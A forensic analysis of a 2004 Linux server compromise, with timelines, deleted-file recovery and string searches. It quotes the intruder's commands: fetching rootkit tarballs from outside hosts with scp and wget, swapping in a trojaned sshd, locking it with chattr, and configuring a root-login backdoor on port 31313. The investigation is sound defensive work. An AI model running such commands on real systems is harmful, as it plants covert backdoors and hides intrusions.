pts1: 13469 (0): -bash: scp kan3@69.31.70.2:ssl.tar.gz . ----------> Alright, step 1 for backdoor
pts1: 13469 (0): -bash: tar xzf ssl^I;rm -rf ssl^I
pts1: 13469 (0): -bash: cd ssk/ap^Iss^I
pts1: 13469 (0): -bash: ./sshd2 ----------> And there we have it, ssh2 backdoor
pts1: 13469 (0): -bash: mv ssh2 /etc/ssh ----------> **Hey, why not?**
pts1: 13469 (0): -bash: mv /etc/ssh2/ssh_host_key /etc/ssh2/hostkey;mv /etc/ssh2/ssh_host_key.pub /etc/ssh2/hostkey.pub ----------> W**e begin trojanizing everything**
pts1: 13469 (0): -bash: cd /var/lib/games/.src/ssk/apps/ssh
pts1: 13469 (0): -bash: mv sshd2 sshd
pts1: 13469 (0): -bash: mv /usr/sbin/sshd /tmp
pts1: 13469 (0): -bash: cp sshd /usr/sbin
pts1: 13469 (0): -bash: mv sshd /usr/sbin
pts1: 13469 (0): -bash: kill -9 `cat /var/run/sshd.pid` ; /usr/sbin/sshd
pts1: 13469 (0): -bash: opspstree -p
pts1: 13469 (0): -bash: kill -9 640
pts1: 13469 (0): -bash: /usr/sbin/sshd

pts1: 13469 (0): -bash: chattr +aui /usr/sbin/sshd
pts1: 13469 (0): -bash: lsattr /usr/sbin/sshd
pts0: 13441 (0): bash: telnet localhost 22 ----------> Seeing if it works
pts0: 13441 (0): bash: rm -rf ssh ----------> **Yeah, we don't need that pesky good version**
pts0: 13441 (0): bash: telnet fileserver1.ev1servers.net 22
pts0: 13441 (0): bash: telnet 216.127.76.27 22
tty7: -1 (-1): : ----------> **Cool, he's in without supplying any credentials**

Analysis of /etc

I've already dipped in and out of this directory throughout the paper so I won't go into too much detail. My “find” and inode searches covered a lot of this. But as a general rule, I decided to analyze this directory into two parts, first look at directories then look at files.

Below are the directories (aside from rc.d which is a separate section) I analyzed. Again we can see the only pertinent things that stand out are details we already covered;

/cron.*
/iproute2
/local
/log.d
/mail
/profile.d
/rpm
drwxr-xr-x 2 1005 1005 4096 Jul 31 08:23 clean-osf
-rw-r--r-- 1 root root 13658 Jul 31 08:22 clean.tar.gz

/ssh2
drwxr-xr-x 2 root root 4096 Aug 1 17:24 ssh2 <---------- **The intruder had a backdoor SSH rootkit that they named ssh2, then did a 'mv' to replace the original SSH binaries, killed xinet and restarted. Intruder however, forgot to do 'rm -fr ssh2' for this directory so there were footprints of a config file and keys.**
/security
/skel
/xinet.d

Below are the regular files under /etc I analyzed, much of this we have already described as well;

/crontab <---------- All correctly point to /etc/cron* and everything in there looked normal
/group <---------- User okray is the first and only normal user: okray:x:500:
/hosts*
/inittab <---------- Looks normal, processes rc.d fine, correct run levels
/localtime
/passwd <---------- Everything looked fine in here, no active accounts other than root,

okray, UID/GID didn't appear out of order or unusual
/profile
/shadow
-r-------- 1 root root 1088 Jul 28 05:29 shadow <---------- **We knew roots password was changed when we saw it in the history file.**
/Syslog.conf
/xinetd.conf

Start-up Files and Processes

All of the rc.d directories appeared to be running normal and standard start-up scripts. The only questionable script was the main boot script “rc.sysinit”. I was a little suspicious with this one only because it had been written to on 28 Jul 2004. I went through the entire darn thing and it all looked legitimate, except a few lines up from the bottom I saw this entry;

```
# Xntps (NTPv3 daemon) startup..
/usr/sbin/xntps -q
```

Things are really starting to point in the direction of yet another variant of the Tt0rn rootkit. I think I'm done analyzing things now since it seems kind of pointless, I'll just run chkrootkit later on to confirm everything rather than “strings”, “strace” “ida-pro”, etc.....

Timeline Analysis

Timeline of Deleted But Intact INODES

As we began our timeline analysis we wanted to first start off by grabbing deleted, but intact inodes. Our target timeframe we choose was 60-days prior to when the rootkits were installed, in this case we started on May 01 2004. We wanted to be able to find any suspicious data with large amounts of unallocated inodes or inodes with large sizes. Specifically, we were targeting large, non executable files in hopes to grab some of the tar files the intruder deleted. This step kind of acts as both a timeline and recovery of deleted data. We ran the below commands for every partition image;

```
Ils -f ext2 -m /04-34/hdc1.img > hdc1.ils
mactime -b hdc1.ils 05/01/2004 > hdc1.deleted.mac
```

Only 2 significant finds throughout the entire image, inodes 130407 and 130408. I used “icat” on the var.img file to pull these files down.

```
Icat 04-34/hdc4.img 130407 > 130407.img
```

Turns out they were boot logs showing admin going into single user mode, and conducting a lot of partition recovery procedures -- not good. As a result, most of our deleted inode searches for this time period were now nothing more than

lost fragments scattered throughout the image.

Perhaps foremost could help us out with this task. First we will need an unallocated image for our analysis. I used Autopsy to grab the dls output for me for each image file. Then, I added an ELF Linux header and footer into the foremost.conf file so we could look for these. Finally, I executed foremost;

```
[foremost.conf]
ELF     Y       100000 \x7f\x45\x4c\x46\x01

Formost -q -o ./foremost -c /usr/local/src/foremost-0.64/foremost.conf
/forensics/0434/host1/output/hdc1.unnal.img
```

Foremost did pull down tons of PGP mail messages (remember those were removed by the intruder), elf executables, compressed tar file, and zip files. However, most of these files were a concatenation of several blocks of data with the matching headers. So, they were not carved out enough to run “zcat” , or “gunzip” on them to uncompress or “tar -tvzf” to list the contents. I tried to tweak the header and footers and size limits but maybe I'm just not understanding foremost too well. I decided to use Autopsy for assistance.

The good thing was I did already have unallocated images for each of my partitions that I could use later to conduct string searches.

MAC Time Analysis

At this point we were very confident we knew how the intruder got access and what was installed to maintain access. Our initial suspicious that the compromise took place on or between 27-28 Jul 2004, however, was really off by about a month. The MAC timeline we generated shows us the potential date of intrusion (according to rootkit installation) was Wed Jun 23 2004. The problem is however, this system had several rootkits installed on it; The SSH rootkit mirrors the Jun 23 date, the mYrk rootkit appears to have been installed on 28 Jul, and finally the OSF trojan looks like a 30 Jul install. So, this presented us with a large amount of work to accomplish as we tried to weed through a month of intruder activity mixed in with a lot of normal operations and noise. We did know when the system was first built, when it crashed, and when it was last accessed with all of our analysis so far, and that helped a big deal when we scrubbed through large amount of timeline activity, especially during all of the reboots and kernel loading when the system had crashed.

Attached are full timelines we performed on all of our images. My thought process for this was to generate, really, five types of time lines; (1) Recursive through the entire drive looking for basic timestamps and hidden directories and files within key directories, (2) generate a timeline of the system using “find” looking for inodes newer than system installation (3) generate an overall timeline of the system using “fls” for directory and files names, (4) produce an

inode listing of deleted but intact inodes listings and (5) use “icat” to pull significant data found, or data that surrounds known malicious files (since the intruders installations should be sequential too).

```
(1)
ls -Rlrta
find . -name ".. " -print -xdev
find . -name ".*" -type d -printf "%Tc %k %h/%f\n"
find . -name ".*" -type f -printf "%Tc %k %h/%f\n"
find / -name ".*" -print -xdev | cat -v

(2)
find . -cnewer /mnt/04-34/root/tmp/install.log -print0 | xargs -0 ls -lncad \
ls -lit | sort| uniq| sort

(3)
fls -f linux-ext2 -m / -r hdc1.img > hdc1.fls

(4)
ils -f linux-ext2 -m hdc1.img > hdc1.ils
mactime -b hdc1.fls 06/01/2004 > hdc1.fls.mac
mactime -b hdc1.ils 06/01/2004 > hdc1.ils.mac

(5)
Icat hdc1.img {significant inode range} > hdc.1.inode
```

Below are slices of the MAC timelines I created for each image, and my comments to what I think might be taking place. The biggest benefit to creating the mactime files was it showed us pretty clearly the activity that surrounded suspicious events and the tools that were implemented. In addition, it brought to light other files and directories that needed investigation, and were missed with all the previous analysis.

---

root.04-5.mac (hdc1.img)

Here we clearly see an installation of an ssh server, our suspected rootkit. Notice the libraries accessed as the program is compiled.

```
Wed Jul 28 2004 05:26:50       16 m.. l/lrwxrwxrwx 0        0        93565    /lib/libproc.so ->
libproc.so.2.0.6
Wed Jul 28 2004 05:26:52    33848 ..c -/-rwxr-xr-x 0        0        93563    /lib/libproc.a
                               16 ..c l/lrwxrwxrwx 0        0        93565    /lib/libproc.so -> libproc.so.2.0.6
                            37984 ..c -/-rwxr-xr-x 0        0        93564    /lib/libproc.so.2.0.6
Wed Jul 28 2004 05:26:59     4096 m.c d/drwxr-xr-x 0        0        93570    /lib/security/.config
                            97093 ..c -/-rwxr-xr-x 500      500      93576    /lib/security/.config/ssh/sshd
(deleted-realloc)
                              407 m.c -/-rw-r--r-- 0        0        93577    /lib/security/.config/ssh/sshd_config
                             4096 m.c d/drwxr-xr-x 0        0        79638    /lib/security/.config/ssh
                               14 m.c -/-rwxr-xr-x 0        0        50710    /lib/libext-2.so.7
```

```
                    525 ..c -/-rw------- 500      500      93572
/lib/security/.config/ssh/ssh_host_key
                     43 ..c -/-rw-r--r-- 500      500      93324    /lib/lidps1.so
                  60444 m.c -/-rw-r--r-- 0        0        65680    /etc/ld.so.cache
                   4096 m.c d/drwxr-xr-x 0        0        16       /lib/security
                    329 ..c -/-rw-r--r-- 500      500      93573
/lib/security/.config/ssh/ssh_host_key.pub
                     14 m.c -/-rwxrwxrwx 0        0        64645    /etc/ld.so.hash
                  97093 ..c -/-rwxr-xr-x 500      500      93576    /lib/security/.config/sshd
```

[.....]

Following are the trojanized binaries under the user account of 'okray'. Notice too the meta data addresses in the range of 3500 and 30700, I'd suspect everything around those numbers. Although the mYrk rootkit does trojanize the same binaries, it appears the SSH rootkit is in fact our suspect for these files.

```
Wed Jul 28 2004 05:27:00     7578 ..c -/-rwxr-xr-x 500      500      3539     /lib/ldd.so/tkp
                    31504 .ac -/-rwxr-xr-x 500      500      3529     /sbin/ifconfig
                    54152 .ac -/-rwxr-xr-x 500      500      3530     /bin/netstat
                    13725 .ac -/-rwxr-xr-x 500      500      3542     /bin/login
                     1345 ..c -/-rwxr-xr-x 500      500      3536     /lib/ldd.so/tksb
                    26496 ..c -/-rwxr-xr-x 500      500      3533     /sbin/syslogd
                    16070 ..c -/-rwxr-xr-x 500      500      3541     /lib/ldd.so/tks
                     1041 m.c -/-rw-r--r-- 0        0        30736    /lib/i686/libm-2.2.93.so (deleted-
realloc)
                     1041 m.c -/-rw-r--r-- 0        0        30736    /dev/srd0
                     4096 m.c d/drwxr-xr-x 0        0        93318    /lib/ldd.so
                       20 m.c l/lrwxrwxrwx 0        0        50770    /lib/libncurses.so.5 ->
/lib/libncurses.so.4
                    62920 .ac -/-rwxr-xr-x 500      500      3531     /bin/ps
                    25942 ..c -/-rwxr-xr-x 0        0        30822    /bin/xlogin
                    22147 m.c -/-rwxr-xr-x 0        0        76879    /etc/rc.d/rc.sysinit
Wed Jul 28 2004 05:28:55        0 mac -/---------- 0        0        30754    /dev/hdx1
                         0 mac -/---------- 0        0        30770    /dev/hdx2
```

[.....]

Here we see the etc/shadow file being modified and changed? That's just odd, especially since no new users were created. This matches around when user 'okray' had issued the 'passwd root' command. About an hour later we see the creation of the BitchX IRC server.

```
Wed Jul 28 2004 05:29:42     1088 m.c -/-r-------- 0        0        65835    /etc/shadow
Wed Jul 28 2004 06:27:01      512 m.c -/-rw------- 500      500      93574
/lib/security/.config/ssh/ssh_random_seed
Wed Jul 28 2004 12:41:06     4096 m.c d/drwxr-xr-x 0        0        30729    /etc/X11/applnk
                      159 ..c -/-rw-r--r-- 0        0        92936
/etc/X11/applnk/Internet/BitchX.desktop;4107e518 (deleted-realloc)
                      159 ..c -/-rw-r--r-- 0        0        92936
/etc/X11/applnk/Internet/BitchX.desktop
                     4096 m.c d/drwxr-xr-x 0        0        92935    /etc/X11/applnk/Internet
Wed Jul 28 2004 12:43:33     4096 m.c d/drwx------ 0        0        92938    /root/.BitchX/screens
                     4096 m.c d/drwx------ 0        0        92937    /root/.BitchX
Thu Jul 29 2004 0
```

```
Sat Jul 31 2004 08:22:22     4096 ..c d/drwx------ 500      500      92877    /tmp/ssh-XXgYZxRu
                             4096 ..c d/drwx------ 500      500      92932    /tmp/ssh-XXdH99Dv
                             4096 ..c d/drwx------ 0        0        18233    /tmp/orbit-root
                             4096 ..c d/drwx------ 500      500      18235    /tmp/ssh-XXCfP08o
                             4096 ..c d/drwx------ 500      500      3520     /tmp/ssh-XXyvTtxU
[.....]
```

We can see the creation, and access (omitted) for the OSF trojan clean file. I still did not see within the mactime files the actual infection of this trojan, so it's still a bit of a mystery why a clean file was run. Around the same time I noticed the 'fuser' command being created, that's just odd. This command is used to find processes using files or sockets, so it's a suspected binary as well.

```
Sat Jul 31 2004 08:22:37    13658 m.c -/-rw-r--r-- 0        0        64879    /etc/rpm/clean.tar.gz
Sat Jul 31 2004 08:23:02     4096 m.c d/drwxr-xr-x 0        0        63965    /etc/rpm
                               79 ..c -/-rw-r--r-- 1005     1005     93319    /etc/rpm/clean-osf/Makefile
                            13342 ..c -/-rw-r--r-- 1005     1005     93317    /etc/rpm/clean-osf/clean-
osf.8759.c
Sat Jul 31 2004 08:23:09     4096 m.c d/drwxr-xr-x 1005     1005     92931    /etc/rpm/clean-osf
Sat Jul 31 2004 08:23:10    18857 m.c -/-rwxr-xr-x 0        0        93322    /etc/rpm/clean-osf/clean-
osf.8759-ps
Sat Jul 31 2004 08:23:34      628 m.c -/-rw------- 0        0        64009    /etc/mail/statistics
Sat Jul 31 2004 08:40:29     4096 m.c d/drwxr-xr-x 0        0        76808    /etc/rc.d
Sat Jul 31 2004 08:41:59     8192 m.c d/drwxr-xr-x 0        0        15370    /sbin
                            18428 ..c -/-rwxr-xr-x 0        0        15389    /sbin/fuser
[.....]
```

Below is just a small sample of what appears to have been a linux reconfiguration, this is a large part of the entire time table for this image. I'm not sure how or why this was initiated, or by whom.

```
Sat Jul 31 2004 08:43:42      907 .a. -/-rwxr-xr-x 0        0        92186
/etc/gconf/gconf.xml.defaults/schemas/desktop/gnome/applications/help_viewer/%gconf.xml.tmp
(deleted-realloc)
                              338 .a. -/-rw-r--r-- 0        0        61532    /etc/gtk/gtkrc.cp1255
                               65 .a. -/-rw-r--r-- 0        0        298      /etc/security/console.apps/up2date
                               46 .a. -/-rw-r--r-- 0        0        628      /etc/security/console.apps/kppp
                              371 .a. -/-rw-r--r-- 0        0        125
/etc/gconf/gconf.xml.defaults/schemas/desktop/gnome/url-handlers/info/%gconf.xml.old (deleted-
realloc)
                              380 .a. -/-rw-r--r-- 0        0        89       /etc/pam.d/redhat-config-users
                               74 .a. -/-rw-r--r-- 0        0        86       /etc/security/console.apps/redhat-
config-proc
                              368 .a. -/-rw-r--r-- 0        0        85       /etc/pam.d/redhat-config-proc
                               62 .a. -/-rw-r--r-- 0        0        368      /etc/security/console.apps/hwbrowser
                               42 .a. -/-rw-r--r-- 0        0        417      /etc/security/console.apps/printconf-tui
                              371 .a. -/-rw-r--r-- 0        0        113      /etc/pam.d/redhat-config-packages
                              368 .a. -/-rw-r--r-- 0        0        401      /etc/pam.d/internet-druid
                              380 .a. -/-rw-r--r-- 0        0        297      /etc/pam.d/up2date-nox
                              346 .a. -/-rw-r--r-- 0        0        61547    /etc/gtk/gtkrc.iso88593
                              134 .a. -/-rw-r--r-- 0        0        61571    /etc/gtk/gtkrc.utf8
```

```
368 .a. -/-rw-r--r-- 0       0       404      /etc/pam.d/redhat-config-network-cmd
555 .a. -/-rw-r--r-- 0       0       61548    /etc/gtk/gtkrc.iso88595
```

[.....]

The below activity shows more SSH configuration that gives us the pattern to what we saw in the history and terminal sniffer files.

```
Sat Jul 31 2004 09:09:39     1650 m.c -/-rw-r--r-- 0       0       18406    /root/.ssh/known_hosts2
                             4096 m.c d/drwx------ 0       0       18373    /root/.ssh


Sun Aug 01 2004 17:12:12      918 m.c -/-rw-r--r-- 0       0       15403    /root/.ssh/known_hosts
Sun Aug 01 2004 17:13:54  1296684 .a. -/-rwxr-xr-x 0       0       46097    /lib/libc-2.3.2.so
                               13 .a. l/lrwxrwxrwx 0       0       46116    /lib/libc.so.6 -> libc-2.3.2.so
Sun Aug 01 2004 17:18:20     1137 .a. -/-rw-r--r-- 0       0       65513    /etc/ssh2/ssh_config
                             4096 .a. d/drwx------ 0       0       18373    /root/.ssh
Sun Aug 01 2004 17:18:21      918 .a. -/-rw-r--r-- 0       0       15403    /root/.ssh/known_hosts
                             1650 .a. -/-rw-r--r-- 0       0       18406    /root/.ssh/known_hosts2
Sun Aug 01 2004 17:24:13      515 ..c -/-rw------- 0       0       61444    /etc/ssh2/hostkey
                              319 ..c -/-rw-r--r-- 0       0       64705    /etc/ssh2/hostkey.pub
Sun Aug 01 2004 17:24:27   315896 ..c -/-rwxr-xr-x 0       0       46122    /tmp/sshd
                           315896 ..c l/-rwxr-xr-x 0       0       46122    /lib/libnss_dns.so.1 (deleted-
realloc)
Sun Aug 01 2004 17:24:43     4096 m.c d/drwxr-xr-x 0       0       63963    /etc/ssh2
                             4096 m.c d/drwxr-xr-x 0       0       63963    /etc/ssh (deleted-realloc)
Sun Aug 01 2004 17:24:56      319 .a. -/-rw-r--r-- 0       0       64705    /etc/ssh2/hostkey.pub
                              515 .a. -/-rw------- 0       0       61444    /etc/ssh2/hostkey
```

I was able to pull down an SSH config file within unallocated space using icat. Thanks to this mactime finding the inode of interest was fairly easy -- we had missed this file with our previous analysis. As this file shows, could the victim server once had port 31313 open?;

```
Port 31313
ListenAddress 0.0.0.0
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
```

---

usr.04-5.mac (hdc5.img)

We will begin to see the same patterns within the other partition images, as each of the programs and tools touch different system files and directories. First we see another installation of some program, not known from this output but we can match it up to the SSH rootkit installation we saw in the root partition. Notice new binaries are trojanized, this time under usr/bin and usr/sbin,

especially the main rootkit called 'zic' (mYrk). I would suspect all files within the 32400 range as suspsect too.

```
Wed Jul 28 2004 05:26:59       73 m.c -/-rw-r--r-- 500      500      146455   /include/hosts.h
                               73 ..c -/-rw-r--r-- 500      500      146461   /include/log.h
                               86 ..c -/-rw-r--r-- 500      500      146447   /include/file.h
                             4096 m.c d/drwxr-xr-x 0        0        145519   /include
                               89 ..c -/-rw-r--r-- 500      500      146473   /include/proc.h
Wed Jul 28 2004 05:27:00    82628 ..c -/-rwxr-xr-x 500      500      129854   /sbin/lsof
                            33992 .ac -/-rwxr-xr-x 500      500      32477    /bin/top
                            23560 .ac -/-rwxr-xr-x 500      500      32775    /bin/slocate
                            31452 ..c -/-rwxr-xr-x 500      500      32499    /bin/md5sum
                            59536 .ac -/-rwxr-xr-x 500      500      32668    /bin/find
Wed Jul 28 2004 08:49:03    51412 ..c -/-rwxr-xr-x 0        0        33578    /sbin/zic
```

Four hours later, IRC is installed.... Ew, evil server patch.....

```
Wed Jul 28 2004 12:38:36     4309 ..c -/-rw-r--r-- 0        0        213502
/src/redhat/SPECS/bitchx.spec
                              754 ..c -/-rw-r--r-- 0        0        246512   /src/redhat/SOURCES/bitchx-1.0c18-
ipv6.patch
                              182 ..c -/-rw-r--r-- 0        0        245771   /src/redhat/SOURCES/bitchx-1.0c18-
configure.patch
                             6714 ..c -/-rw-r--r-- 0        0        246511   /src/redhat/SOURCES/bitchx-
1.0c18-evil-server.patch
                             4866 ..c -/-rw-r--r-- 0        0        246513   /src/redhat/SOURCES/bitchx-
configs.dif
[.....]
```

This struck me as very strange, almost two-days later the log cleaner called 'wclean' is installed, and run. Why wait so long? Also, we see the first implementation of the terminal sniffer, again why wasn't this executed upon install?

```
Fri Jul 30 2004 03:32:48   18799 m.. -/-rwxr-xr-x 0        0        214260   /lib/ix86/wclean
Fri Jul 30 2004 03:33:21    4096 m.c d/drwx------ 0        6666     213496   /lib/ix86
                           18799 ..c -/-rwxr-xr-x 0        0        214260   /lib/ix86/wclean
Fri Jul 30 2004 03:34:05   18799 .a. -/-rwxr-xr-x 0        0        214260   /lib/ix86/wclean
Fri Jul 30 2004 03:35:10    4096 .a. d/drwx------ 0        6666     213496   /lib/ix86
Fri Jul 30 2004 03:35:24   24473 .a. -/-rw-r--r-- 0        0        213501   /lib/ix86/logz/pass.log
                            4096 m.c d/drwx------ 0        0        213498   /lib/ix86/logz
Fri Jul 30 2004 03:35:28    4096 .a. d/drwx------ 0        0        213498   /lib/ix86/logz
```

[...]

This was very interesting, the times seem to match when I saw an linux reconfig in the root mactime file... and now we see an installation of the psmisc tools (admin tools). Could it be someone had suspected a compromise and tried to rebuild and run scanning tools? Both the admin and user okray deny

this, so I'm at a loss... but it's significant, somehow.

```
Sat Jul 31 2004 08:40:57     5600 ..c -/-rw-r--r-- 0       0       359075   /src/redhat/BUILD/psmisc-
21.2/po/de.po
                    29467 ..c -/-rwxr-xr-x 0       0       359101   /src/redhat/BUILD/psmisc-
21.2/config.sub
                    19468 ..c -/-rw-r--r-- 0       0       181895   /src/redhat/BUILD/psmisc-
21.2/src/pstree.c.56186
                     432 ..c -/-rw-r--r-- 0       0       359066   /src/redhat/BUILD/psmisc-
21.2/po/remove-potcdate.sin
                    1203 ..c -/-rw-r--r-- 0       0       359069   /src/redhat/BUILD/psmisc-
21.2/po/en@quot.header
                    5709 ..c -/-rw-r--r-- 0       0       359079   /src/redhat/BUILD/psmisc-
21.2/po/pt.po
                    5623 ..c -/-rw-r--r-- 0       0       359077   /src/redhat/BUILD/psmisc-
21.2/po/fr.po
                    4035 ..c -/-rw-r--r-- 0       0       359085   /src/redhat/BUILD/psmisc-
21.2/po/pt.gmo
                    5243 ..c -/-rw-r--r-- 0       0       359076   /src/redhat/BUILD/psmisc-
21.2/po/en.po
```

---

var.04-5.mac (hdc6.img)

Here is where we see the initial, possible, date of the SSH rootkit called (ssk or ShKit). What does not make sense to me is only the modified timestamp applies, showing Jun 23 2004, however the creation of the rootkit checker, log cleaner, and ssh config file didn't happen for another month. It would appear that maybe the files with the Jun timestamp were mv from another location, that wouldn't change inode values, or creation times. Or, maybe we have some timeline manipulation that occurred. Even worse, maybe this system had been compromise a lot earlier and we are just seeing modifications to data that had already been written. If that's the case, again why would the intruder wait so long in order to start covering their tracks?

```
Wed Jun 23 2004 22:50:37       96 m.. -/-rw-r--r-- 500      500      228224
/lib/games/.src/ssk/apps/ssh/genx.h
Wed Jun 23 2004 22:51:10     2040 m.. -/-rw-r----- 500      500      228092
/lib/games/.src/ssk/apps/ssh/ssh2includes.h
Wed Jun 23 2004 22:51:18       45 m.. -/-rw-r--r-- 500      500      342135
/lib/games/.src/ssk/ssk.tar.gz
Sun Jun 27 2004 04:02:03        0 m.. -/-rw------- 0        0        130424   /log/vsftpd.log.4
                                0 m.. -/-rw------- 0        0        130410   /log/boot.log.4
                                0 m.. -/-rw------- 0        0        130414   /log/spooler.4
Sun Jun 27 2004 12:23:27       39 m.. -/-rw-r--r-- 500      500      228093
/lib/games/.src/ssk/apps/ssh/ssh2version.h
Sun Jun 27 2004 12:24:24    10720 m.. -/-rw-r--r-- 0        0        342137
/lib/games/.src/ssk/config.cache
                            71076 m.. -/-rw-r--r-- 0        0        342136   /lib/games/.src/ssk/config.log
Sun Jun 27 2004 12:24:26    57561 m.. -/-rwxr-xr-x 0        0        342138
/lib/games/.src/ssk/config.status
```

```
                15287 m.. -/-rw-r--r-- 0       0       342140   /lib/games/.src/ssk/Makefile
                 218 m.. -/-rw-r--r-- 0       0       342141   /lib/games/.src/ssk/Makefile

[.....]

Sun Jun 27 2004 12:28:38    55964 m.. -/-rw-r--r-- 0       0       228307
/lib/games/.src/ssk/apps/ssh/sshd2.o
Sun Jun 27 2004 12:28:40  1211311 m.. -/-rwxr-xr-x 0       0       228310
/lib/games/.src/ssk/apps/ssh/sshd-check-conf
[.....]
```

We see some var/log files presumably being written to, although it would appear they have been created as well, maybe deleted? Shortly afterwards, the intruder finally installs the findkit tool and log cleaner, and creates and configures the SSH server.

```
Sun Aug 01 2004 16:11:06       0 mac -/-rw-r--r-- 0       0       130434   /log/maillog
                             645 m.c -/-rw-r--r-- 0       0       130433   /log/secure
                         2221758 m.c -/-rw-r--r-- 0       0       130405   /log/messages
Sun Aug 01 2004 17:09:45 19136220 .a. -/-r-------- 0       0       130306   /log/lastlog
Sun Aug 01 2004 17:10:10    4096 m.c d/drwxr-xr-x 0       0       195457   /lib/games
Sun Aug 01 2004 17:13:40  252496 .ac -/-rwxr-xr-x 0       1       602683
/lib/games/.src/skit/sshd
                            4439 .ac -/-rwxr-xr-x 0       1       602690   /lib/games/.src/skit/findkit
                          119472 .ac -/-rwxr-xr-x 0       1       602684   /lib/games/.src/skit/ssh-keygen
                           89600 ..c -/-rw-r--r-- 0       1       602687   /lib/games/.src/skit/log.tar
                             337 .ac -/-rwxr-xr-x 0       1       602686   /lib/games/.src/skit/setup
                          235764 .ac -/-rwxr-xr-x 0       1       602685   /lib/games/.src/skit/ssh
                             439 .ac -/-rw-r--r-- 0       1       602688   /lib/games/.src/skit/sshd_config

Sun Aug 01 2004 17:15:31    27661 m.c -/-rwxr-xr-x 0       0       65163
/lib/games/.src/skit/log/mig-logcleaner
.........
```

Here it appears there is some attempt to do some housecleaning....

```
Sun Aug 01 2004 17:24:34       0 mac -/-rwxr-xr-x 0       0       228308
/lib/games/.src/ssk/apps/ssh/sshd (deleted)
                               0 mac -/-rwxr-xr-x 0       0       228308   /lib/games/.src/ssk/apps/ssh/sshd2
(deleted)
                            8192 m.c d/drwxr-xr-x 500     500     228059   /lib/games/.src/ssk/apps/ssh
Sun Aug 01 2004 17:34:51    8192 .a. d/drwxr-xr-x 500     500     228059
/lib/games/.src/ssk/apps/ssh
```

Recovering Deleted Files

We significantly tailored down our efforts to retrieve deleted files for primarily three reasons. One, most of the install binaries and tar files were still intact on the victim hard drive -- thanks to it crashing the intruder was not able to remove everything. Two, most of the malicious files we saw the intruder download and

'make' have already been analyzed to death. And three, the hard drive partitions have been run through the recovery process several times by the admin, whereas lost chains/sectors were removed, over-written, etc and trying to carve out data in a meaningful order was proving to be too tedious.

We decided to concentrate on just a couple of areas; obtaining the tarball, if any, for the mYrk rootkit since I don't see this documented on the web, and trying to discover anything else interesting or otherwise missed.

Aside from using my methods above during my timeline analysis, I used autopsy to quickly pull the deleted files for me from every image. Sadly, however, about 98% of everything recovered had already been reallocated by other data. I spent a lot of time still going to those inodes (metadata section), then searching surrounding blocks for any “slack” data still present (data unit section). Bottom line, we failed in our objective to find out how the mYrk was installed. Leaving on a good note though, it wasn't really possible to recover much of anything if we wanted, but since the system crashed we had most of the install binaries anyway.

Conducting a String Search

Keywords and Search Procedures

Simply, I used Autopsy's “keyword Search Mode” to extract unallocated images for each of my partitions first, then produce a strings output from the entire image. Next I would read the strings output from the unallocated image and begin my keyword searches. Honestly, the keyword search really shed some light into the data areas we were unable to successfully recover in a meaningful way. This step reaffirmed log entries were modified, moved, and simply replaced.

Additionally, we found an installation script for the mYrk root kit, seems there is suppose to be a lot more to this. Next, we saw tons of hacker examples, tutorials, password crackers, etc as deleted data, probably part of the README's or HOWTO's files. Finally, we found specifically two things very interesting, references within a fragmented installation script for ".desktop" and “driftnet”. The file .desktop was trojanized to sniff modifications to system files (like a hackers tripwire) and driftnet was used to capture network traffic, specifically to intercept and forward web traffic images. Below are some of the keywords I used in my analysis;

((jun)|(jul)|(jun?)|(jul?)|2004) ----------> I'm looking for past log eintries for a two month period surrounding our incident. We know the logs were modified so hopefully this will shed some light

69\.0\.[0-2]?[[:digit:]]{1,2}|206\.168\.[0-2]?[[:digit:]]{1,2} ----------> I'm looking for our two primary intruders.

myrk|logz|ix86|/dev/tty|var/log|clean |srm ----------> Key word searches for mYrk

linuxhell | haitateam | fileserv1 | mirror\.trouble | egen1234 | egensolutions | rpmfind\.net \ typeuid | add512 | scponly ----------> Searching for all sites intruder used

I thought it would be interesting to provide some snippets of the strings output that helped solidify our analysis and suspicions;

Maybe the hackers name -- Sensei?

422287 clean:
634705 echo 'dont fuck with sensei
714524 mostlyclean-compile:
714570 clean-compile:
714586 distclean-compile:
714622 maintainer-clean-compile:
715617 mostlyclean-tags:

One of the cleaning scripts install scripts was seen in unallocated data.

5497185 mig-logcleaner.c
5497337 utmp_clean
5497361 lastlog_clean
5497375 txt_clean
5508608 /var/log/
5508737 [0;32m* MIG Logcleaner by
5508839 /var/log/wtmp
5509624 /var/log/lastlog
5511200 [-d <dir>] - log directory (default: /var/log/)

A little hint about the mYrk rootkit in deleted areas.

387140864 No params installs the rootkit (silent mode)
387143099 /usr/lib/ix86
387143136 logz
387143233 /dev/tty
387143437 l Install (load) rootkit
389449291 /dev/tty

This was very interesting, appears to be an install of new.tar.bz2 for the ntp overflow.

43058623 - ix86: make sure that rpm can verify prelinked shared libraries.
43776176 - Enable assembler on ix86 (using new .tar.bz2 which does
43897645 - Add the remote root exploit patch (based on ntp-hackers).

I thought this was funny, there's a lot more but basically it is register calls and hackers vulgar translations for them.

232263840 A hacker does for love what others would not do for money.
232264733 Core Dump, The shit has been purged
232264812 eax, damn dog always shits in my yard
232628855 pts0: 8111 (0): -bash: locate .sniffer

A hidden tar file, the SSH tar file, BitchX, and the psybnc toolset (IRC proxy) all in one!

```
174162889 >.tar.gz</B
174165898 >.tar.gz</B
174671315 HREF="ftp://ftp.postgresql.org/pub/postgresql-7.2.1.tar.gz"
174671389 >ftp://ftp.postgresql.org/pub/postgresql-7.2.1.tar.gz</A
174671574 >gunzip postgresql-7.2.1.tar.gz</B
232183715      * grep-2.1.1b.tar.gz available.
232628641 pts0: 8111 (0): -bash: wget stupid.go.ro/sk.tar.gz
232629520 pts0: 8111 (0): -bash: wget http://packetstormsecurity.org/Crackers/john-1.6.tar.gz
232631854 wget http://www.bitchx.org/files/binaries/Linux/BitchX-1.0c16-Linux-glibc2-alpha.tar.gz
232631942 pts0: 8208 (0): -bash: ^Cwget 208.42.160.121/~fbi/BitchX-1.0c16-Linux-glibc2-alpha.tar.gz
234940351      cd ..; tar -cvf psyBNC2.3.1.tar psybnc; gzip -c psyBNC2.3.1.tar > psyBNC2.3.1.tar.gz; rm psyBNC2.3.1.tar
234951331     Unpack it with tar -xzvf psyBNC2.3.1.tar.gz
```

And finally, here is the mYrk find.....

```
=====================================
 mYrk - Further Analysis From Strings Output of Lost Installation Script
=====================================
```

Using method described in http://www.securityfocus.com/archive/1/225543 "SSH crc32 compensation attack detector exploit"

```
/etc/rc.d/rc.sysinit:
  ---
# Xntps (NTPv3 daemon) startup..
/usr/sbin/xntps
---
```

